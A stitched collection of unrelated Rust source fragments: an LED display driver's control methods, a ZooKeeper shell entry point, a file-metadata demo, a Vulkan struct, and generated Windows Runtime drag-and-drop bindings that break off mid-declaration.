pub fn set_intensity(&mut self, level: u8) {
self.send_raw_data(RegisterAddress::Intensity, level);
}
/// Shutdown the display.
///
/// This turns the LED lights off but does not overwrite the data for each LED.
pub fn shutdown(&mut self, off: bool) {
self.send_raw_data(RegisterAddress::Shutdown, !off as u8);
}
/// Enables test-mode for the display.
///
/// This turns on all LED lights at full intensity. This does no overwrite the
/// data for each LED. This has precedence over "shutdown" mode.
pub fn test(&mut self, on: bool) {
self.send_raw_data(RegisterAddress::Test, on as u8);
}
}
|
#![feature(duration)]
extern crate ansi_term;
extern crate getopts;
#[macro_use]
extern crate lazy_static;
extern crate zookeeper;
use std::env;
use getopts::Options;
mod shell;
use shell::Shell;
fn usage(program: &str, opts: Options) {
let brief = format!("Usage: {} [options]", program);
print!("{}", opts.usage(&brief[..]));
}
fn main() {
let args: Vec<String> = env::args().collect();
let program = args[0].clone();
let mut hosts = "".to_string();
let mut opts = Options::new();
opts.optopt("", "hosts", "hosts string", "HOSTS");
let matches = match opts.parse(&args[1..]) {
Ok(m) => { m }
Err(_) => {
usage(&program[..], opts);
return;
}
};
if matches.opt_present("hosts") {
hosts = matches.opt_str("hosts").unwrap();
}
let mut shell = Shell::new(&*hosts);
shell.run();
}
|
use std::io::{self, BufReader, BufWriter};
use std::io::prelude::*;
use std::fs::{self, OpenOptions};
use std::path::Path;
fn conerror() -> ! {
panic!("fail to run");
}
fn file_breif(file_name: &Path) {
let meta_file = fs::metadata(file_name).unwrap();
let fs = match OpenOptions::new().read(true).open(file_name) {
Ok(file) => {
println!("read complete");
file
}
Err(_) => conerror(),
};
let mut content = String::new();
{
BufReader::new(fs).read_to_string(&mut content).expect("fail to read");
}
println!("\nhere is the file_breif");
println!("File Name: {:?}", file_name.file_name().unwrap());
println!("File Type: {:?}", meta_file.file_type());
println!("File Size: {}", meta_file.len());
println!("File Content:\n{}", content);
println!("Recent modified: {:?}", meta_file.modified().unwrap());
}
fn main() {
let file_name = Path::new("metafile_test");
let fs = match OpenOptions::new().write(true).create(true).open(file_name) {
Ok(file) => {
println!("read complete");
file
}
Err(_) => conerror(),
};
{
let mut content = String::new();
io::stdin().read_line(&mut content).expect("fail to read");
match BufWriter::new(fs).write_fmt(format_args!("i wrote {}", content.trim())) {
Ok(_) => {
println!("write complete");
}
Err(_) => {
conerror();
}
};
}
file_breif(&file_name);
}
|
use crate::prelude::*;
#[repr(C)]
#[derive(Debug)]
pub struct VkDisplayPlanePropertiesKHR {
pub currentDisplay: VkDisplayKHR,
pub currentStackIndex: u32,
}
|
#![allow(unused_variables, non_upper_case_globals, non_snake_case, unused_unsafe, non_camel_case_types, dead_code, clippy::all)]
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct CoreDragDropManager(pub ::windows::core::IInspectable);
impl CoreDragDropManager {
#[cfg(feature = "Foundation")]
pub fn TargetRequested<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Foundation::TypedEventHandler<CoreDragDropManager, CoreDropOperationTargetRequestedEventArgs>>>(&self, value: Param0) -> ::windows::core::Result<super::super::super::super::Foundation::EventRegistrationToken> {
let this = self;
unsafe {
let mut result__: super::super::super::super::Foundation::EventRegistrationToken = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), value.into_param().abi(), &mut result__).from_abi::<super::super::super::super::Foundation::EventRegistrationToken>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn RemoveTargetRequested<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Foundation::EventRegistrationToken>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn AreConcurrentOperationsEnabled(&self) -> ::windows::core::Result<bool> {
let this = self;
unsafe {
let mut result__: bool = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<bool>(result__)
}
}
pub fn SetAreConcurrentOperationsEnabled(&self, value: bool) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn GetForCurrentView() -> ::windows::core::Result<CoreDragDropManager> {
Self::ICoreDragDropManagerStatics(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<CoreDragDropManager>(result__)
})
}
pub fn ICoreDragDropManagerStatics<R, F: FnOnce(&ICoreDragDropManagerStatics) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<CoreDragDropManager, ICoreDragDropManagerStatics> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
}
unsafe impl ::windows::core::RuntimeType for CoreDragDropManager {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragDropManager;{7d56d344-8464-4faf-aa49-37ea6e2d7bd1})");
}
unsafe impl ::windows::core::Interface for CoreDragDropManager {
type Vtable = ICoreDragDropManager_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x7d56d344_8464_4faf_aa49_37ea6e2d7bd1);
}
impl ::windows::core::RuntimeName for CoreDragDropManager {
const NAME: &'static str = "Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragDropManager";
}
impl ::core::convert::From<CoreDragDropManager> for ::windows::core::IUnknown {
fn from(value: CoreDragDropManager) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&CoreDragDropManager> for ::windows::core::IUnknown {
fn from(value: &CoreDragDropManager) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for CoreDragDropManager {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a CoreDragDropManager {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<CoreDragDropManager> for ::windows::core::IInspectable {
fn from(value: CoreDragDropManager) -> Self {
value.0
}
}
impl ::core::convert::From<&CoreDragDropManager> for ::windows::core::IInspectable {
fn from(value: &CoreDragDropManager) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for CoreDragDropManager {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a CoreDragDropManager {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
unsafe impl ::core::marker::Send for CoreDragDropManager {}
unsafe impl ::core::marker::Sync for CoreDragDropManager {}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct CoreDragInfo(pub ::windows::core::IInspectable);
impl CoreDragInfo {
pub fn Data(&self) -> ::windows::core::Result<super::super::DataPackageView> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::DataPackageView>(result__)
}
}
pub fn Modifiers(&self) -> ::windows::core::Result<super::DragDropModifiers> {
let this = self;
unsafe {
let mut result__: super::DragDropModifiers = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::DragDropModifiers>(result__)
}
}
#[cfg(feature = "Foundation")]
pub fn Position(&self) -> ::windows::core::Result<super::super::super::super::Foundation::Point> {
let this = self;
unsafe {
let mut result__: super::super::super::super::Foundation::Point = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::super::super::Foundation::Point>(result__)
}
}
pub fn AllowedOperations(&self) -> ::windows::core::Result<super::super::DataPackageOperation> {
let this = &::windows::core::Interface::cast::<ICoreDragInfo2>(self)?;
unsafe {
let mut result__: super::super::DataPackageOperation = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::DataPackageOperation>(result__)
}
}
}
unsafe impl ::windows::core::RuntimeType for CoreDragInfo {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragInfo;{48353a8b-cb50-464e-9575-cd4e3a7ab028})");
}
unsafe impl ::windows::core::Interface for CoreDragInfo {
type Vtable = ICoreDragInfo_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x48353a8b_cb50_464e_9575_cd4e3a7ab028);
}
impl ::windows::core::RuntimeName for CoreDragInfo {
const NAME: &'static str = "Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragInfo";
}
impl ::core::convert::From<CoreDragInfo> for ::windows::core::IUnknown {
fn from(value: CoreDragInfo) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&CoreDragInfo> for ::windows::core::IUnknown {
fn from(value: &CoreDragInfo) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for CoreDragInfo {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a CoreDragInfo {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<CoreDragInfo> for ::windows::core::IInspectable {
fn from(value: CoreDragInfo) -> Self {
value.0
}
}
impl ::core::convert::From<&CoreDragInfo> for ::windows::core::IInspectable {
fn from(value: &CoreDragInfo) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for CoreDragInfo {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a CoreDragInfo {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
unsafe impl ::core::marker::Send for CoreDragInfo {}
unsafe impl ::core::marker::Sync for CoreDragInfo {}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct CoreDragOperation(pub ::windows::core::IInspectable);
impl CoreDragOperation {
pub fn new() -> ::windows::core::Result<Self> {
Self::IActivationFactory(|f| f.activate_instance::<Self>())
}
fn IActivationFactory<R, F: FnOnce(&::windows::core::IActivationFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<CoreDragOperation, ::windows::core::IActivationFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
pub fn Data(&self) -> ::windows::core::Result<super::super::DataPackage> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::DataPackage>(result__)
}
}
pub fn SetPointerId(&self, pointerid: u32) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), pointerid).ok() }
}
#[cfg(feature = "Graphics_Imaging")]
pub fn SetDragUIContentFromSoftwareBitmap<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Graphics::Imaging::SoftwareBitmap>>(&self, softwarebitmap: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), softwarebitmap.into_param().abi()).ok() }
}
#[cfg(all(feature = "Foundation", feature = "Graphics_Imaging"))]
pub fn SetDragUIContentFromSoftwareBitmapWithAnchorPoint<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Graphics::Imaging::SoftwareBitmap>, Param1: ::windows::core::IntoParam<'a, super::super::super::super::Foundation::Point>>(&self, softwarebitmap: Param0, anchorpoint: Param1) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), softwarebitmap.into_param().abi(), anchorpoint.into_param().abi()).ok() }
}
pub fn DragUIContentMode(&self) -> ::windows::core::Result<CoreDragUIContentMode> {
let this = self;
unsafe {
let mut result__: CoreDragUIContentMode = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), &mut result__).from_abi::<CoreDragUIContentMode>(result__)
}
}
pub fn SetDragUIContentMode(&self, value: CoreDragUIContentMode) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), value).ok() }
}
#[cfg(feature = "Foundation")]
pub fn StartAsync(&self) -> ::windows::core::Result<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).12)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::super::super::Foundation::IAsyncOperation<super::super::DataPackageOperation>>(result__)
}
}
pub fn AllowedOperations(&self) -> ::windows::core::Result<super::super::DataPackageOperation> {
let this = &::windows::core::Interface::cast::<ICoreDragOperation2>(self)?;
unsafe {
let mut result__: super::super::DataPackageOperation = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<super::super::DataPackageOperation>(result__)
}
}
pub fn SetAllowedOperations(&self, value: super::super::DataPackageOperation) -> ::windows::core::Result<()> {
let this = &::windows::core::Interface::cast::<ICoreDragOperation2>(self)?;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for CoreDragOperation {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragOperation;{cc06de4f-6db0-4e62-ab1b-a74a02dc6d85})");
}
unsafe impl ::windows::core::Interface for CoreDragOperation {
type Vtable = ICoreDragOperation_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xcc06de4f_6db0_4e62_ab1b_a74a02dc6d85);
}
impl ::windows::core::RuntimeName for CoreDragOperation {
const NAME: &'static str = "Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragOperation";
}
impl ::core::convert::From<CoreDragOperation> for ::windows::core::IUnknown {
fn from(value: CoreDragOperation) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&CoreDragOperation> for ::windows::core::IUnknown {
fn from(value: &CoreDragOperation) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for CoreDragOperation {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a CoreDragOperation {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<CoreDragOperation> for ::windows::core::IInspectable {
fn from(value: CoreDragOperation) -> Self {
value.0
}
}
impl ::core::convert::From<&CoreDragOperation> for ::windows::core::IInspectable {
fn from(value: &CoreDragOperation) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for CoreDragOperation {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a CoreDragOperation {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
unsafe impl ::core::marker::Send for CoreDragOperation {}
unsafe impl ::core::marker::Sync for CoreDragOperation {}
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: marker :: Copy, :: core :: clone :: Clone, :: core :: default :: Default, :: core :: fmt :: Debug)]
#[repr(transparent)]
pub struct CoreDragUIContentMode(pub u32);
impl CoreDragUIContentMode {
pub const Auto: CoreDragUIContentMode = CoreDragUIContentMode(0u32);
pub const Deferred: CoreDragUIContentMode = CoreDragUIContentMode(1u32);
}
impl ::core::convert::From<u32> for CoreDragUIContentMode {
fn from(value: u32) -> Self {
Self(value)
}
}
unsafe impl ::windows::core::Abi for CoreDragUIContentMode {
type Abi = Self;
}
unsafe impl ::windows::core::RuntimeType for CoreDragUIContentMode {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"enum(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragUIContentMode;u4)");
}
impl ::windows::core::DefaultType for CoreDragUIContentMode {
type DefaultType = Self;
}
impl ::core::ops::BitOr for CoreDragUIContentMode {
type Output = Self;
fn bitor(self, rhs: Self) -> Self {
Self(self.0 | rhs.0)
}
}
impl ::core::ops::BitAnd for CoreDragUIContentMode {
type Output = Self;
fn bitand(self, rhs: Self) -> Self {
Self(self.0 & rhs.0)
}
}
impl ::core::ops::BitOrAssign for CoreDragUIContentMode {
fn bitor_assign(&mut self, rhs: Self) {
self.0.bitor_assign(rhs.0)
}
}
impl ::core::ops::BitAndAssign for CoreDragUIContentMode {
fn bitand_assign(&mut self, rhs: Self) {
self.0.bitand_assign(rhs.0)
}
}
impl ::core::ops::Not for CoreDragUIContentMode {
type Output = Self;
fn not(self) -> Self {
Self(self.0.not())
}
}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct CoreDragUIOverride(pub ::windows::core::IInspectable);
impl CoreDragUIOverride {
#[cfg(feature = "Graphics_Imaging")]
pub fn SetContentFromSoftwareBitmap<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Graphics::Imaging::SoftwareBitmap>>(&self, softwarebitmap: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), softwarebitmap.into_param().abi()).ok() }
}
#[cfg(all(feature = "Foundation", feature = "Graphics_Imaging"))]
pub fn SetContentFromSoftwareBitmapWithAnchorPoint<'a, Param0: ::windows::core::IntoParam<'a, super::super::super::super::Graphics::Imaging::SoftwareBitmap>, Param1: ::windows::core::IntoParam<'a, super::super::super::super::Foundation::Point>>(&self, softwarebitmap: Param0, anchorpoint: Param1) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), softwarebitmap.into_param().abi(), anchorpoint.into_param().abi()).ok() }
}
pub fn IsContentVisible(&self) -> ::windows::core::Result<bool> {
let this = self;
unsafe {
let mut result__: bool = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<bool>(result__)
}
}
pub fn SetIsContentVisible(&self, value: bool) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn Caption(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetCaption<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn IsCaptionVisible(&self) -> ::windows::core::Result<bool> {
let this = self;
unsafe {
let mut result__: bool = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).12)(::core::mem::transmute_copy(this), &mut result__).from_abi::<bool>(result__)
}
}
pub fn SetIsCaptionVisible(&self, value: bool) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).13)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn IsGlyphVisible(&self) -> ::windows::core::Result<bool> {
let this = self;
unsafe {
let mut result__: bool = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).14)(::core::mem::transmute_copy(this), &mut result__).from_abi::<bool>(result__)
}
}
pub fn SetIsGlyphVisible(&self, value: bool) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).15)(::core::mem::transmute_copy(this), value).ok() }
}
pub fn Clear(&self) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).16)(::core::mem::transmute_copy(this)).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for CoreDragUIOverride {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragUIOverride;{89a85064-3389-4f4f-8897-7e8a3ffb3c93})");
}
unsafe impl ::windows::core::Interface for CoreDragUIOverride {
type Vtable = ICoreDragUIOverride_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x89a85064_3389_4f4f_8897_7e8a3ffb3c93);
}
impl ::windows::core::RuntimeName for CoreDragUIOverride {
const NAME: &'static str = "Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragUIOverride";
}
impl ::core::convert::From<CoreDragUIOverride> for ::windows::core::IUnknown {
fn from(value: CoreDragUIOverride) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&CoreDragUIOverride> for ::windows::core::IUnknown {
fn from(value: &CoreDragUIOverride) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for CoreDragUIOverride {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a CoreDragUIOverride {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<CoreDragUIOverride> for ::windows::core::IInspectable {
fn from(value: CoreDragUIOverride) -> Self {
value.0
}
}
impl ::core::convert::From<&CoreDragUIOverride> for ::windows::core::IInspectable {
fn from(value: &CoreDragUIOverride) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for CoreDragUIOverride {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a CoreDragUIOverride {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
unsafe impl ::core::marker::Send for CoreDragUIOverride {}
unsafe impl ::core::marker::Sync for CoreDragUIOverride {}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct CoreDropOperationTargetRequestedEventArgs(pub ::windows::core::IInspectable);
impl CoreDropOperationTargetRequestedEventArgs {
pub fn SetTarget<'a, Param0: ::windows::core::IntoParam<'a, ICoreDropOperationTarget>>(&self, target: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), target.into_param().abi()).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for CoreDropOperationTargetRequestedEventArgs {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDropOperationTargetRequestedEventArgs;{2aca929a-5e28-4ea6-829e-29134e665d6d})");
}
unsafe impl ::windows::core::Interface for CoreDropOperationTargetRequestedEventArgs {
type Vtable = ICoreDropOperationTargetRequestedEventArgs_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x2aca929a_5e28_4ea6_829e_29134e665d6d);
}
impl ::windows::core::RuntimeName for CoreDropOperationTargetRequestedEventArgs {
const NAME: &'static str = "Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDropOperationTargetRequestedEventArgs";
}
impl ::core::convert::From<CoreDropOperationTargetRequestedEventArgs> for ::windows::core::IUnknown {
fn from(value: CoreDropOperationTargetRequestedEventArgs) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&CoreDropOperationTargetRequestedEventArgs> for ::windows::core::IUnknown {
fn from(value: &CoreDropOperationTargetRequestedEventArgs) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for CoreDropOperationTargetRequestedEventArgs {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a CoreDropOperationTargetRequestedEventArgs {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<CoreDropOperationTargetRequestedEventArgs> for ::windows::core::IInspectable {
fn from(value: CoreDropOperationTargetRequestedEventArgs) -> Self {
value.0
}
}
impl ::core::convert::From<&CoreDropOperationTargetRequestedEventArgs> for ::windows::core::IInspectable {
fn from(value: &CoreDropOperationTargetRequestedEventArgs) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for CoreDropOperationTargetRequestedEventArgs {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a CoreDropOperationTargetRequestedEventArgs {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
unsafe impl ::core::marker::Send for CoreDropOperationTargetRequestedEventArgs {}
unsafe impl ::core::marker::Sync for CoreDropOperationTargetRequestedEventArgs {}
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragDropManager(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragDropManager {
type Vtable = ICoreDragDropManager_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x7d56d344_8464_4faf_aa49_37ea6e2d7bd1);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragDropManager_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, count: *mut u32, values: *mut *mut ::windows::core::GUID) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: *mut i32) -> ::windows::core::HRESULT,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: ::windows::core::RawPtr, result__: *mut super::super::super::super::Foundation::EventRegistrationToken) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
#[cfg(feature = "Foundation")] pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: super::super::super::super::Foundation::EventRegistrationToken) -> ::windows::core::HRESULT,
#[cfg(not(feature = "Foundation"))] usize,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, result__: *mut bool) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, value: bool) -> ::windows::core::HRESULT,
);
#[repr(transparent)]
#[doc(hidden)]
pub struct ICoreDragDropManagerStatics(pub ::windows::core::IInspectable);
unsafe impl ::windows::core::Interface for ICoreDragDropManagerStatics {
type Vtable = ICoreDragDropManagerStatics_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x9542fdca_da12_4c1c_8d06_041db29733c3);
}
#[repr(C)]
#[doc(hidden)]
pub struct ICoreDragDropManagerStatics_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
